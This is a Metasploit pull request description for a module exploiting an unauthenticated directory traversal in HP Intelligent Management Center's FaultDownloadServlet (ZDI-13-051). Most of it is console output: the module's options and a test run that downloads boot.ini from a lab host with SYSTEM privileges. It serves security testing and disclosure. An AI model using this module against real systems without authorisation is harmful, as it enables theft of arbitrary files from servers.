rapid7/metasploit-framework — pull request #1697 by jvazquez-r7 (2013-04-02 22:25:35+00:00)
Title: added module for ZDI-13-051

* Tested successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2

```
msf auxiliary(hp_imc_faultdownloadservlet_traversal) > info

Name: HP Intelligent Management FaultDownloadServlet Directory Traversal
Module: auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal
Version: 0
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
rgod
juan vazquez

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DEPTH 7 yes Traversal depth if absolute is set to false
FILEPATH /boot.ini yes The name of the file to download
Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier
RPORT 8080 yes The target port
TARGETURI /imc yes Path to HP Intelligent Management Center
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host

Description:
This module exploits a lack of authentication and a directory
traversal in HP Intelligent Management, specifically in the
FaultDownloadServlet, in order to retrieve arbitrary files with
SYSTEM privileges. This module has been tested successfully on HP
Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.

References:
http://cvedetails.com/cve/2012-5202/
http://www.osvdb.org/91027
http://www.securityfocus.com/bid/58675
http://www.zerodayinitiative.com/advisories/ZDI-13-051/

msf auxiliary(hp_imc_faultdownloadservlet_traversal) > set rhosts 192.168.1.140
rhosts => 192.168.1.140
msf auxiliary(hp_imc_faultdownloadservlet_traversal) > run

[+] 192.168.1.140:8080 - File saved in: /Users/juan/.msf4/loot/20130403001946_default_192.168.1.140_hp.imc.faultdown_582284.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(hp_imc_faultdownloadservlet_traversal) > cat /Users/juan/.msf4/loot/20130403001946_default_192.168.1.140_hp.imc.faultdown_582284.ini
[*] exec: cat /Users/juan/.msf4/loot/20130403001946_default_192.168.1.140_hp.imc.faultdown_582284.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /noexecute=optout /fastdetect

```